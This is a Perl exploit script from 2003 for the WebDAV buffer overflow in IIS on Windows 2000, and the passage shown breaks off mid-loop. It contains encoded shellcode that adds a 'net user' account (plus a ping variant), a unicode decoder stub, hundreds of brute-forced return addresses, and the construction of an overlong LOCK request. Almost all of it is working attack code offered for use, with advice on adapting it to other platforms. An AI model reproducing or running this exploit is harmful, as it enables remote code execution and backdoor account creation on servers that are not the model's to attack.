#!/bin/perl
#
# 2003.3.24
#
# mat@monkey.org
# mat@panicsecurity.org
#
# tested on Windows 2000 Advanced Server SP3: Korean language edition 
# ntdll.dll with 2002.7.3 version
# You need to change some parameters to make this exploit work on your platform of choice
#
# This exploit uses unicode decoder scheme and self-modifies unicoded shellcode to original one.
# 

use Socket;

if($#ARGV<0)
{
        die "usage: wd.pl <target hostname>\n";
}

my $host=$ARGV[0];

my $url_len=65514;
#LOCK: 65514
#SEARCH: 65535

my $host_header="Host: $host\r\n";
my $translate_f="Translate: f\r\n";
$translate_f="";
my $port=80;
my $depth="Depth: 1\r\n";
$depth="";
my $connection_str="Connection: Close\r\n";
$connection_str="";
my $url2="B";
$url2="";
my $cont="C";
my $lock_token="Lock-Token: $cont\r\n";
$lock_token="";
my $destination="Destination: /$url2\r\n";
$destination="";

# LoadLibrary: 0x100107c;
# GetProcAddress 0x1001034;
# WinExec("net user matt 1234 /ADD")
# this shellcode is encoded to printable string form
my $shellcode_net_user_add_mat="\x34\x34\x30\x2e\x2c\x2a\x61\x62\x48\x48\x2a\x2a\x2c\x2d\x7f\x80\x68\x69\x2c\x2c\x18\x19\x64\x65\x58\x59\x0c\x07%u0411%u00f0\x67\x67\x2c\x2a\x31\x2e\x18\x19\x64\x65\x58\x59\x7e\x7f\x56\x56\x1a\x1a\x4c\x4d\x55\x55\x71\x71\x7d\x7d\x38\x39\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x62\x62\x0c\x0c\x3b\x39\x4e\x4e\x6c\x6d\x6c\x6d\x4c\x4d\x38\x38\x5f\x60\x4c\x4d\x4c\x4d\x4c\x4d\x64\x64\x67\x68\x78\x79\x72\x73\x44\x45\x4c\x4d\x4c\x4c\x61\x62\x33\x33\x45\x46\x08\x08\x2d\x2d\x60\x60\x08\x08\x33\x34\x64\x64\x67\x68\x65\x65\x78\x79\x56\x57\x44\x45\x4c\x4d\x4c\x4c\x61\x62\x33\x33\x45\x46\x64\x65\x1a\x1b\x0e\x0f\x2c\x2d\x76\x76\x31\x31\x60\x61\x19\x19\x60\x60\x3d\x3e\x3b\x38\x2d\x2d\x0c\x08\x16\x16\x07\x08\x6c\x6d\x6c\x6d\x4c\x4d\x0c\x08\x12\x12\x03\x03\x6c\x6d\x6c\x6d\x4c\x4d\x79\x7a\x4f\x50\x60\x60\x38\x39\x31\x2e\x33\x33\x33\x33\x33\x33\x54\x54\x27\x24\x65\x66\x08\x08\x3b\x38\x0c\x0c\x2d\x2e\x29\x29\x6c\x6d\x6c\x6d\x4c\x4d\x65\x66\x33\x33\x06\x06\x03\x03\x6c\x6d\x6c\x6d\x4c\x4d\x33\x33\x16\x16\x38\x38\x6c\x6d\x6c\x6d\x4c\x4d\x08\x08\x39\x39\x0c\x0c\x2d\x2d\x3b\x39\x6c\x6d\x6c\x6d\x4c\x4d\x65\x65\x64\x65\x08\x08\x2d\x2d\x33\x33\x06\x06\x1d\x1d\x6c\x6d\x6c\x6d\x4c\x4d\x65\x65\x33\x33\x06\x06\x1f\x1f\x6c\x6d\x6c\x6d\x4c\x4d\x54\x54\x27\x24\x04\x05\x04\x05\x65\x66\x08\x08\x3b\x38\x0c\x0c\x2d\x2e\x27\x27\x6c\x6d\x6c\x6d\x4c\x4d\x65\x66\x33\x33\x06\x06\x19\x19\x6c\x6d\x6c\x6d\x4c\x4d\x33\x33\x06\x06\x1b\x1b\x6c\x6d\x6c\x6d\x4c\x4d\x69\x69\x6e\x6e\x65\x66\x6b\x6c\x6e\x6e\x6a\x6b\x55\x55\x55\x56\x4c\x4d\x63\x63\x7a\x7b\x7d\x7d\x75\x76\x7e\x7e\x7c\x7c\x76\x77\x4c\x4d\x63\x63\x7a\x7b\x77\x77\x75\x76\x78\x78\x76\x77\x7e\x7e\x4c\x4d\x63\x63\x7a\x7b\x7d\x7d\x7a\x7b\x7b\x7b\x75\x75\x7e\x7e\x4c\x4d\x67\x67\x78\x78\x7b\x7c\x6e\x6e\x70\x71\x7e\x7e\x7d\x7d\x4c\x4d\x6e\x6e\x70\x71\x78\x78\x76\x77\x64\x65\x75\x76\x7b\x7b\x7d\x7d\x7e\x7e\x75\x75\x75\x75\x4c\x4d\x7d\x7d\x51\x52\x62\x63\x76\x77\x5d\x5a\x7e\x7e\x70\x71\x7e\x7e\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x7b\x7c\x7e\x7e\x76\x77\x5e\x5b\x76\x76\x75\x75\x7e\x7e\x75\x76\x5e\x5b\x7a\x7a\x7c\x7c\x76\x77\x76\x77\x5e\x5b\x54\x54\x55\x56\x55\x55\x56\x57\x5e\x5b\x5b\x5b\x7c\x7c\x7e\x7f\x7e\x7f\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x76\x77\x5d\x5a\x7e\x7e\x70\x71\x7e\x7e\x4c\x4d\x4e\x4e\x4c\x4d\x4c\x4d\x4c\x4d\x76\x77\x7e\x7e\x75\x75\x76\x77\x49\x4a";

my $shellcode_ping_211_59_27_66="\x34\x34\x30\x2e\x2c\x2a\x61\x62\x48\x48\x2a\x2a\x2c\x2d\x7f\x80\x68\x69\x2c\x2c\x18\x19\x64\x65\x58\x59\x0c\x07%u0411%u00f0\x67\x67\x2c\x2a\x31\x2e\x18\x19\x64\x65\x58\x59\x7b\x7c\x56\x56\x1a\x1a\x4c\x4d\x55\x55\x71\x71\x7d\x7d\x38\x39\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x62\x62\x0c\x0c\x3b\x39\x4e\x4e\x6c\x6d\x6c\x6d\x4c\x4d\x38\x38\x5f\x60\x4c\x4d\x4c\x4d\x4c\x4d\x64\x64\x67\x68\x78\x79\x72\x73\x44\x45\x4c\x4d\x4c\x4c\x61\x62\x33\x33\x45\x46\x08\x08\x2d\x2d\x60\x60\x08\x08\x33\x34\x64\x64\x67\x68\x65\x65\x78\x79\x56\x57\x44\x45\x4c\x4d\x4c\x4c\x61\x62\x33\x33\x45\x46\x64\x65\x1a\x1b\x0e\x0f\x2c\x2d\x76\x76\x31\x31\x60\x61\x19\x19\x60\x60\x3d\x3e\x3b\x38\x2d\x2d\x0c\x08\x16\x16\x07\x08\x6c\x6d\x6c\x6d\x4c\x4d\x0c\x08\x12\x12\x03\x03\x6c\x6d\x6c\x6d\x4c\x4d\x79\x7a\x4f\x50\x60\x60\x38\x39\x31\x2e\x33\x33\x33\x33\x33\x33\x54\x54\x27\x24\x65\x66\x08\x08\x3b\x38\x0c\x0c\x2d\x2e\x29\x29\x6c\x6d\x6c\x6d\x4c\x4d\x65\x66\x33\x33\x06\x06\x03\x03\x6c\x6d\x6c\x6d\x4c\x4d\x33\x33\x16\x16\x38\x38\x6c\x6d\x6c\x6d\x4c\x4d\x08\x08\x39\x39\x0c\x0c\x2d\x2d\x3b\x39\x6c\x6d\x6c\x6d\x4c\x4d\x65\x65\x64\x65\x08\x08\x2d\x2d\x33\x33\x06\x06\x1d\x1d\x6c\x6d\x6c\x6d\x4c\x4d\x65\x65\x33\x33\x06\x06\x1f\x1f\x6c\x6d\x6c\x6d\x4c\x4d\x54\x54\x27\x24\x04\x05\x04\x05\x65\x66\x08\x08\x3b\x38\x0c\x0c\x2d\x2e\x27\x27\x6c\x6d\x6c\x6d\x4c\x4d\x65\x66\x33\x33\x06\x06\x19\x19\x6c\x6d\x6c\x6d\x4c\x4d\x33\x33\x06\x06\x1b\x1b\x6c\x6d\x6c\x6d\x4c\x4d\x69\x69\x6e\x6e\x65\x66\x6b\x6c\x6e\x6e\x6a\x6b\x55\x55\x55\x56\x4c\x4d\x63\x63\x7a\x7b\x7d\x7d\x75\x76\x7e\x7e\x7c\x7c\x76\x77\x4c\x4d\x63\x63\x7a\x7b\x77\x77\x75\x76\x78\x78\x76\x77\x7e\x7e\x4c\x4d\x63\x63\x7a\x7b\x7d\x7d\x7a\x7b\x7b\x7b\x75\x75\x7e\x7e\x4c\x4d\x67\x67\x78\x78\x7b\x7c\x6e\x6e\x70\x71\x7e\x7e\x7d\x7d\x4c\x4d\x6e\x6e\x70\x71\x78\x78\x76\x77\x64\x65\x75\x76\x7b\x7b\x7d\x7d\x7e\x7e\x75\x75\x75\x75\x4c\x4d\x7d\x7d\x51\x52\x62\x63\x76\x77\x5d\x5a\x7e\x7e\x70\x71\x7e\x7e\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x74\x75\x78\x78\x7b\x7c\x7f\x7f\x5e\x5b\x55\x56\x54\x54\x54\x54\x5d\x5a\x56\x56\x50\x50\x5d\x5a\x55\x56\x57\x57\x5d\x5a\x57\x58\x57\x58\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x76\x77\x5d\x5a\x7e\x7e\x70\x71\x7e\x7e\x4c\x4d\x4e\x4e\x4c\x4d\x4c\x4d\x4c\x4d\x76\x77\x7e\x7e\x75\x75\x76\x77\x49\x4a";
my $shellcode="$shellcode_ping_211_59_27_66";
my $body="<?xml version=\"1.0\">\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
my $length_of_body=length($body);

#
# jmp ebx,call ebx addresses
#
my @return_addresses=(
	"%u300e%u74da",
	"%u61a9%u74da",
	"%u3384%u7779",
	"%u215c%u777e",
	"%u59bb%u777e",
	"%u59d4%u777e",
	"%u68b3%u777e",
	"%u8dcf%u777e",
	"%u52f8%u7800",
	"%ue0af%u7800",
	"%ub405%u7802",

	"%u32ac%u77e2",
	"%uc1b5%u76ae",
	"%u005d%u77a5",
	"%u0060%u776b",
	"%u00b4%u77a5",
	"%u00e6%u77ac",
	"%u014a%u7766",
	"%u0392%u7511",
	"%u03a0%u7511",
	"%u0900%u6df1",
	"%u0900%u778b",
	"%u1167%u6b32",
	"%u1184%u6ed4",
	"%u1192%u6b3e",
	"%u11b1%u779e",
	"%u11b9%u777f",
	"%u11b9%u782c",
	"%u11d3%u7834",
	"%u1800%u749e",
	"%u20ac%u777f",
	"%u2171%u7766",
	"%u2172%u6b3a",
	"%u2191%u6e6f",
	"%u21d4%u6e6f",
	"%u2283%u730a",
	"%u24b9%u7763",
	"%u24d5%u7763",
	"%u24e8%u7761",
	"%u2503%u7834",
	"%u2514%u77e2",
	"%u251e%u77db",
	"%u2521%u7761",
	"%u2527%u77db",
	"%u2530%u77db",
	"%u253c%u77e2",
	"%u2547%u77dc",
	"%u2592%u77dc",
	"%u266d%u76ae",
	"%u2e00%u76ae",
	"%u300e%u74e3",
	"%u306c%u7766",
	"%u30a5%u77e5",
	"%u30b0%u77e5",
	"%u327b%u6e44",
	"%u327b%u6e5e",
	"%u329b%u6e44",
	"%u329b%u6e5e",
	"%u329c%u77e2",
	"%u3384%u777e",
	"%u3397%u6e00",
	"%u33d0%u76ae",
	"%u3700%u777f",
	"%u4e5e%u7900",
	"%u4ea4%u7325",
	"%u4ec0%u77db",
	"%u4ef2%u77ac",
	"%u4f73%u749f",
	"%u4fd4%u77dc",
	"%u4ff1%u749f",
	"%u5023%u749f",
	"%u5078%u77a5",
	"%u5112%u77dc",
	"%u5121%u749f",
	"%u5144%u77dc",
	"%u5146%u77e2",
	"%u514e%u77ac",
	"%u518d%u6dee",
	"%u51c4%u7387",
	"%u5237%u77ac",
	"%u52a0%u777f",
	"%u52a0%u782c",
	"%u52d5%u777f",
	"%u52d5%u782c",
	"%u5339%u6b3a",
	"%u5339%u777f",
	"%u5366%u7740",
	"%u555e%u741b",
	"%u5653%u749e",
	"%u5718%u6c7e",
	"%u574d%u7901",
	"%u5775%u7901",
	"%u5806%u7325",
	"%u5821%u777f",
	"%u5821%u782c",
	"%u5831%u777f",
	"%u5831%u782c",
	"%u587c%u777f",
	"%u587c%u782c",
	"%u58c5%u777f",
	"%u58d5%u777f",
	"%u58fd%u777f",
	"%u58fd%u782c",
	"%u5949%u72fc",
	"%u5949%u777f",
	"%u5955%u72fc",
	"%u5967%u777f",
	"%u5997%u777f",
	"%u5997%u782c",
	"%u5a25%u777f",
	"%u5a25%u782c",
	"%u5ac9%u777f",
	"%u5b5a%u6c7e",
	"%u5b64%u777f",
	"%u5b8f%u6731",
	"%u5b9c%u6731",
	"%u5b9c%u6e44",
	"%u5c04%u777f",
	"%u5c0f%u6c7e",
	"%u5c3b%u777f",
	"%u5c3b%u782c",
	"%u5c4e%u6c7e",
	"%u5cfb%u76ae",
	"%u5da0%u7511",
	"%u5da2%u777f",
	"%u5de6%u77e5",
	"%u5deb%u777f",
	"%u5deb%u782c",
	"%u5e00%u6c11",
	"%u5e0c%u7325",
	"%u5e2b%u777f",
	"%u5e3f%u7511",
	"%u5e55%u777f",
	"%u5e63%u7325",
	"%u5eb8%u7325",
	"%u5ef7%u7325",
	"%u5f13%u7325",
	"%u5f17%u77e3",
	"%u5f1b%u777f",
	"%u5f1b%u782c",
	"%u5f62%u7325",
	"%u5f7f%u72fc",
	"%u5f99%u7325",
	"%u5fb7%u6c11",
	"%u5fcc%u7763",
	"%u601d%u77dc",
	"%u609a%u7387",
	"%u60f6%u72fc",
	"%u611f%u77bf",
	"%u6144%u74da",
	"%u6144%u74e3",
	"%u6198%u7763",
	"%u61a9%u74e3",
	"%u61fa%u66c7",
	"%u61fa%u671b",
	"%u620a%u7325",
	"%u6284%u66c7",
	"%u62c8%u7763",
	"%u62db%u72fc",
	"%u62f1%u72fc",
	"%u63a9%u77bc",
	"%u63ed%u779e",
	"%u64bb%u7761",
	"%u64c1%u72fd",
	"%u64e2%u777f",
	"%u64e2%u782c",
	"%u64f4%u777f",
	"%u65b9%u6ed4",
	"%u6600%u6ed4",
	"%u66a0%u6c6d",
	"%u66b3%u6c6d",
	"%u66f3%u6c6d",
	"%u66f8%u7387",
	"%u674f%u7763",
	"%u67b0%u7740",
	"%u67b3%u6ed4",
	"%u67d2%u749e",
	"%u6816%u6ed4",
	"%u6842%u779e",
	"%u6881%u779e",
	"%u6894%u779e",
	"%u6977%u76ae",
	"%u6a19%u7763",
	"%u6a44%u7763",
	"%u6aa3%u7518",
	"%u6c60%u77bc",
	"%u6c81%u7693",
	"%u6c82%u77bf",
	"%u6c92%u77bc",
	"%u6cb8%u7693",
	"%u6cdb%u777f",
	"%u6ce5%u777f",
	"%u6ceb%u7693",
	"%u6d11%u777f",
	"%u6d11%u782c",
	"%u6d87%u77dc",
	"%u6d89%u7693",
	"%u6e2f%u7693",
	"%u6e4d%u76ae",
	"%u6f94%u77e9",
	"%u6fae%u77bc",
	"%u6fe9%u749e",
	"%u7006%u77e9",
	"%u7028%u7901",
	"%u70ab%u77ac",
	"%u70ac%u7387",
	"%u70dd%u77ac",
	"%u70dd%u784f",
	"%u70fd%u77bb",
	"%u711a%u6731",
	"%u7199%u7387",
	"%u71d0%u77bb",
	"%u71fc%u77bb",
	"%u722d%u6df3",
	"%u7258%u7515",
	"%u725f%u77db",
	"%u72a2%u77a5",
	"%u72c4%u7325",
	"%u73fe%u6ed4",
	"%u745f%u76ae",
	"%u748b%u730a",
	"%u74d8%u6df3",
	"%u74e3%u6df3",
	"%u7575%u7518",
	"%u7642%u6c0f",
	"%u76de%u7325",
	"%u7704%u7325",
	"%u77dc%u7693",
	"%u78a9%u77e2",
	"%u78bb%u77bb",
	"%u790e%u6995",
	"%u797a%u6995",
	"%u79b1%u6995",
	"%u79b1%u7740",
	"%u79d1%u77bb",
	"%u79e7%u6995",
	"%u79e9%u72fd",
	"%u7a00%u78fb",
	"%u7a05%u72fd",
	"%u7a3b%u72fd",
	"%u7a57%u7387",
	"%u7aba%u6995",
	"%u7af9%u6c13",
	"%u7b19%u76ae",
	"%u7b6e%u777f",
	"%u7b6e%u782c",
	"%u7c83%u7763",
	"%u7c97%u7763",
	"%u7ca5%u7763",
	"%u7d8f%u77e5",
	"%u7dbe%u779e",
	"%u7de1%u779e",
	"%u7e1f%u6df1",
	"%u7e1f%u778b",
	"%u7e52%u6995",
	"%u7f55%u77a5",
	"%u7fa8%u77a5",
	"%u7fd5%u76ae",
	"%u8018%u775b",
	"%u807d%u7387",
	"%u80a5%u775b",
	"%u8178%u775b",
	"%u81c0%u77db",
	"%u82ad%u6c11",
	"%u82d5%u65f1",
	"%u832f%u77db",
	"%u8339%u76ae",
	"%u83d3%u6df3",
	"%u843d%u7387",
	"%u8563%u77ac",
	"%u8805%u7740",
	"%u881f%u77db",
	"%u8840%u77bc",
	"%u8892%u7740",
	"%u8892%u77ac",
	"%u8a23%u6731",
	"%u8a23%u7693",
	"%u8a23%u77ad",
	"%u8af1%u76ae",
	"%u8b17%u6ed4",
	"%u8b39%u76ae",
	"%u8c6b%u77bf",
	"%u8c7a%u77bc",
	"%u8ca2%u77bc",
	"%u8cac%u6df1",
	"%u8cac%u778b",
	"%u8d70%u6995",
	"%u8dbe%u7740",
	"%u8dcb%u77ad",
	"%u8e87%u6995",
	"%u8f09%u6b32",
	"%u9187%u76ae",
	"%u925e%u749e",
	"%u92f8%u77ad",
	"%u932e%u76ae",
	"%u93ac%u7740",
	"%u9640%u6995",
	"%u980a%u7763",
	"%u984e%u6df3",
	"%u985e%u7763",
	"%u98dc%u7740",
	"%u9920%u7916",
	"%u9957%u77a5",
	"%u9a5a%u779e",
	"%u9b27%u6ed3",
	"%u9cf6%u7518",
	"%u9d26%u7518",
	"%u9d5d%u7300",
	"%u9d72%u7763",
	"%u9edc%u7901",
	"%u9ede%u77e9",
	"%ua300%u76ae",
	"%uac16%u7900",
	"%uac17%u77db",
	"%uac17%u7832",
	"%uac4b%u77db",
	"%uac4b%u7900",
	"%uac52%u76ae",
	"%uac5a%u76ae",
	"%uac71%u7693",
	"%uac84%u77e9",
	"%uac97%u77e3",
	"%uaca2%u6ed3",
	"%uaca4%u6c0f",
	"%uaca4%u77e9",
	"%uacac%u6c0f",
	"%uacaf%u77e3",
	"%uacb6%u6ed3",
	"%uacc8%u7693",
	"%uace0%u7761",
	"%uacfb%u7761",
	"%uad0d%u77e2",
	"%uad13%u7900",
	"%uad18%u779e",
	"%uad25%u7900",
	"%uad27%u6ed3",
	"%uad45%u77e2",
	"%uad5b%u7900",
	"%uad5f%u7387",
	"%uad73%u6995",
	"%uad73%u6b32",
	"%uad7a%u6b32",
	"%uada6%u775b",
	"%uadab%u7900",
	"%uadc4%u7387",
	"%uadf0%u76ae",
	"%uadf9%u6995",
	"%uae12%u76ae",
	"%uae80%u77e5",
	"%uae96%u77e5",
	"%uaf17%u77e3",
	"%uafa2%u779e",
	"%ub00a%u77e5",
	"%ub05d%u77e5",
	"%ub0c0%u6b32",
	"%ub0ef%u7518",
	"%ub100%u6b32",
	"%ub100%u7518",
	"%ub119%u7518",
	"%ub138%u672e",
	"%ub169%u6b32",
	"%ub177%u672e",
	"%ub181%u6b32",
	"%ub1cb%u6ed4",
	"%ub1da%u6ed4",
	"%ub206%u6b32",
	"%ub216%u6c0f",
	"%ub23f%u7802",
	"%ub240%u7693",
	"%ub246%u6c0f",
	"%ub260%u7693",
	"%ub273%u76ae",
	"%ub276%u6c0f",
	"%ub27e%u779e",
	"%ub288%u76ae",
	"%ub293%u77e2",
	"%ub29c%u72fd",
	"%ub2a3%u6c0f",
	"%ub2b7%u72fd",
	"%ub2ca%u77e2",
	"%ub2ef%u76ae",
	"%ub342%u76ae",
	"%ub3a2%u749e",
	"%ub3b8%u749e",
	"%ub3be%u749e",
	"%ub3c3%u741b",
	"%ub3f4%u741b",
	"%ub43a%u76ae",
	"%ub44e%u6df1",
	"%ub44e%u778b",
	"%ub450%u76ae",
	"%ub456%u6df1",
	"%ub456%u778b",
	"%ub468%u6ed3",
	"%ub483%u76ae",
	"%ub484%u72fd",
	"%ub48b%u72fd",
	"%ub498%u76ae",
	"%ub4a6%u6995",
	"%ub4af%u76ae",
	"%ub4c0%u76ae",
	"%ub4e8%u7832",
	"%ub52d%u6995",
	"%ub549%u77db",
	"%ub554%u6995",
	"%ub565%u77db",
	"%ub56e%u77e9",
	"%ub61d%u7763",
	"%ub61f%u77e9",
	"%ub62c%u7763",
	"%ub652%u77e9",
	"%ub65e%u77e9",
	"%ub66a%u77e9",
	"%ub6a4%u77db",
	"%ub6a7%u7900",
	"%ub6af%u6ed4",
	"%ub6b7%u6ed4",
	"%ub6b8%u77db",
	"%ub6d5%u7900",
	"%ub6dd%u77ad",
	"%ub6dd%u77b0",
	"%ub6ec%u77ad",
	"%ub6ec%u77b0",
	"%ub6f4%u77ad",
	"%ub6f4%u77b0",
	"%ub6f7%u7763",
	"%ub6fc%u749e",
	"%ub70e%u77ad",
	"%ub712%u749e",
	"%ub718%u749e",
	"%ub778%u77e9",
	"%ub784%u77e9",
	"%ub790%u77e9",
	"%ub79c%u77e9",
	"%ub7a8%u77e9",
	"%ub7ac%u77ad",
	"%ub7b4%u77e9",
	"%ub7c0%u77e9",
	"%ub7cc%u77e9",
	"%ub7d8%u77e9",
	"%ub803%u775b",
	"%ub819%u77ad",
	"%ub992%u7763",
	"%ub9aa%u7832",
	"%ub9ce%u7763",
	"%ub9d6%u7832",
	"%uba10%u7832",
	"%uba38%u7832",
	"%uba6b%u77ad",
	"%uba6b%u77b0",
	"%uba73%u77ac",
	"%uba74%u77ad",
	"%uba74%u77b0",
	"%uba7a%u77ad",
	"%uba7a%u77b0",
	"%uba7e%u77ad",
	"%uba7e%u77b0",
	"%uba8e%u7834",
	"%uba9f%u7900",
	"%ubaa8%u7834",
	"%ubaae%u6876",
	"%ubae8%u7900",
	"%ubb34%u6876",
	"%ubc0f%u77e5",
	"%ubc37%u77e5",
	"%ubcf9%u7834",
	"%ubd00%u6c0f",
	"%ubd24%u7834",
	"%ubd38%u6c0f",
	"%ubd65%u6c0f",
	"%ubdb3%u672e",
	"%ubdc8%u7740",
	"%ubde6%u77db",
	"%ube03%u672e",
	"%ube1a%u7740",
	"%ube30%u7901",
	"%ube31%u77e5",
	"%ube43%u7901",
	"%ube53%u6995",
	"%ube65%u77db",
	"%ube75%u77e5",
	"%ube87%u77db",
	"%ubebd%u77db",
	"%ubecf%u6995",
	"%ubef8%u6995",
	"%ubf37%u7834",
	"%ubf45%u7834",
	"%ubf65%u76ae",
	"%ubf83%u7900",
	"%ubf8a%u6995",
	"%ubf92%u7900",
	"%ubf9e%u7900",
	"%ubfaa%u7900",
	"%ubfba%u76ae",
	"%ubfbf%u6c7e",
	"%ubfc5%u77db",
	"%ubfd2%u7900",
	"%ubfe1%u7900",
	"%ubfed%u7900",
	"%ubff9%u7900",
	"%uc003%u76ae",
	"%uc02e%u77db",
	"%uc02f%u77db",
	"%uc036%u6995",
	"%uc03a%u77db",
	"%uc03e%u6c7e",
	"%uc03f%u6995",
	"%uc054%u76ae",
	"%uc058%u6c7e",
	"%uc0d5%u76ae",
	"%uc0ee%u76ae",
	"%uc120%u76ae",
	"%uc142%u76ae",
	"%uc189%u65f1",
	"%uc1bc%u65f1",
	"%uc1ef%u65f1",
	"%uc1f3%u6b32",
	"%uc1f7%u77e2",
	"%uc21f%u6b32",
	"%uc268%u76ae",
	"%uc268%u77e2",
	"%uc277%u76ae",
	"%uc27f%u7834",
	"%uc286%u76ae",
	"%uc291%u77e2",
	"%uc295%u76ae",
	"%uc2a8%u76ae",
	"%uc2d1%u76ae",
	"%uc2e0%u76ae",
	"%uc2ef%u76ae",
	"%uc2fe%u76ae",
	"%uc306%u7834",
	"%uc30d%u76ae",
	"%uc32a%u7834",
	"%uc344%u7834",
	"%uc35e%u7834",
	"%uc39d%u6ed4",
	"%uc3de%u6ed4",
	"%uc3df%u6df1",
	"%uc3df%u778b",
	"%uc401%u7834",
	"%uc445%u7834",
	"%uc449%u6df1",
	"%uc449%u778b",
	"%uc459%u7834",
	"%uc4f0%u7834",
	"%uc504%u77dc",
	"%uc56b%u7834",
	"%uc578%u77e9",
	"%uc57a%u6c0f",
	"%uc583%u76ae",
	"%uc597%u76ae",
	"%uc5d6%u77ac",
	"%uc5d7%u77ac",
	"%uc5e1%u77ac",
	"%uc5eb%u77ac",
	"%uc663%u76ae",
	"%uc676%u6e44",
	"%uc676%u6e5e",
	"%uc677%u76ae",
	"%uc6f3%u6c42",
	"%uc748%u76ae",
	"%uc776%u76ae",
	"%uc7a0%u77e2",
	"%uc7da%u6b32",
	"%uc7e1%u6b32",
	"%uc7e5%u77e2",
	"%uc860%u72c2",
	"%uc860%u775b",
	"%uc86d%u72c2",
	"%uc86d%u775b",
	"%uc87d%u72c2",
	"%uc87d%u775b",
	"%uc88d%u72c2",
	"%uc88d%u775b",
	"%uc89d%u72c2",
	"%uc89d%u775b",
	"%uc8ad%u72c2",
	"%uc8ad%u775b",
	"%uc8ba%u72c2",
	"%uc8ba%u775b",
	"%uc8c7%u72c2",
	"%uc8c7%u775b",
	"%uc8d4%u72c2",
	"%uc8d4%u775b",
	"%uc8e0%u77ac",
	"%uc8fc%u77db",
	"%uc936%u77db",
	"%uc9d3%u77ac",
	"%uc9f5%u6c0f",
	"%uca02%u77ac",
	"%uca25%u77ac",
	"%uca2e%u6c0f",
	"%uca5b%u77e9",
	"%uca84%u77e9",
	"%ucad1%u77e9",
	"%ucaf1%u77e9",
	"%ucb4f%u749e",
	"%ucb72%u76ae",
	"%ucb7a%u751a",
	"%ucb7b%u76ae",
	"%ucb7e%u7763",
	"%ucb85%u7763",
	"%ucb8f%u751a",
	"%ucb98%u749e",
	"%ucba4%u751a",
	"%ucbae%u749f",
	"%ucbd0%u77db",
	"%ucc05%u749f",
	"%ucc53%u76ae",
	"%ucc81%u6df5",
	"%ucc89%u6df5",
	"%ucc8a%u76ae",
	"%uccb5%u7901",
	"%uccc7%u760d",
	"%uccd6%u741b",
	"%uccda%u760d",
	"%ucd00%u741b",
	"%ucd0f%u7901",
	"%ucd2a%u741b",
	"%ucd31%u7901",
	"%ucd3c%u7518",
	"%ucd3c%u7901",
	"%ucdb0%u7761",
	"%ucdb5%u7761",
	"%ucdb8%u7761",
	"%ucdf4%u741b",
	"%ucdf9%u77e5",
	"%uce2e%u7518",
	"%uce46%u741b",
	"%uce6a%u77e5",
	"%uce74%u7518",
	"%uce93%u77e5",
	"%uce98%u7518",
	"%ucf69%u6df5",
	"%ucf71%u6df5",
	"%ucf9c%u76ae",
	"%ucfa6%u76ae",
	"%ud067%u77db",
	"%ud0a2%u77db",
	"%ud0c5%u6b32",
	"%ud109%u6b32",
	"%ud11b%u77dc",
	"%ud163%u7901",
	"%ud17c%u7900",
	"%ud181%u7900",
	"%ud1a6%u749f",
	"%ud1d2%u77ac",
	"%ud1e0%u7901",
	"%ud1ed%u77ac",
	"%ud1f7%u749f",
	"%ud1f7%u7900",
	"%ud1fc%u7900",
	"%ud206%u7763",
	"%ud21c%u7834",
	"%ud221%u7763",
	"%ud225%u7834",
	"%ud259%u6df5",
	"%ud279%u749f",
	"%ud287%u7834",
	"%ud290%u7834",
	"%ud2b6%u77e5",
	"%ud2cd%u7900",
	"%ud2d2%u7900",
	"%ud2e1%u741b",
	"%ud2f5%u741b",
	"%ud2f5%u77e5",
	"%ud309%u741b",
	"%ud31d%u741b",
	"%ud38a%u7901",
	"%ud3aa%u7763",
	"%ud3b9%u7763",
	"%ud3bf%u7901",
	"%ud3d7%u7763",
	"%ud3db%u77dc",
	"%ud4f5%u6b32",
	"%ud514%u77ac",
	"%ud51e%u77ac",
	"%ud52d%u77e5",
	"%ud539%u6b32",
	"%ud541%u6df5",
	"%ud545%u7800",
	"%ud6dc%u77d7",
	"%ud6e2%u77a5",
	"%ud700%u77e2",
	"%ud75b%u7900",
	"%ud780%u7900",
	"%ue00e%u7900",
	"%ue010%u7738",
	"%ue020%u77db",
	"%ue02b%u77ac",
	"%ue04c%u7738",
	"%ue04e%u6ed4",
	"%ue056%u6ed4",
	"%ue0ad%u779e",
	"%uec00%u672e",
	"%uf906%u7800",
	"%uf909%u7763",
	"%uf93f%u7763",
	"%uf942%u751a",
	"%uf94b%u77e9",
	"%uf964%u77ac",
	"%uf966%u7763",
	"%uf968%u751a",
	"%uf974%u77ac",
	"%uf981%u751a",
	"%uf991%u7763",
	"%uf9a6%u7300",
	"%uf9b3%u751a",
	"%uf9c2%u7763",
	"%uf9cd%u751a",
	"%uf9e9%u7763",
	"%uf9fb%u7300"
);


foreach my $return_address (@return_addresses)
{
	######### return address ############
	my $return_address_part="";
	$return_address_part="";
	$return_address_part.="%u3073";
	$return_address_part.="%u3075";
	$return_address_part.="%u3074";
	$return_address_part.=$return_address;
	$return_address_part.="%ucc38"x22;
	#####################################

	############  offsets ##############
	my $offset_len=280;
	my $offset_part="X"x$offset_len;
	#####################################
	my $shellcode_len=$url_len-(length($return_address_part)/6+$offset_len);

	my $offset_of_part_shell=0;
	print "len-> $url_len=$shellcode_len:$offset_len\n";

	my $decoder_str="%uC931%u79B1%uc1fe%ucb01%uc38b%uc789%uc289%uc931%u9041%u9041%uc38b%uc801%u338b%uce8b%u308b%uc68b%uc801%u00b4%uc689%uc78b%u3089%uc931%u03b1%u9041%ucb01%u9047%uf989%ud129%uc031%ue0b0%u03b4%uc129%uc985%uca75%uc985";
	my $decoder_str_len=length($decoder_str)/6;
	my $patch_esp="\x44\x45\x76\x76";
	my $nop="%u0048%u0048";
	my $encoded_str="${nop}${patch_esp}${shellcode}";
	my $unicoded_encoded_str_len=4*5;

	my $shellcode_part="";
	$shellcode_part="";
	$shellcode_part.=$decoder_str;
	$shellcode_part.=$encoded_str;
	$shellcode_part.="A"x($shellcode_len-($decoder_str_len+length($encoded_str)-$unicoded_encoded_str_len-1));

	my $url="/${offset_part}${return_address_part}${shellcode_part}";
	for my $METHOD ("LOCK")
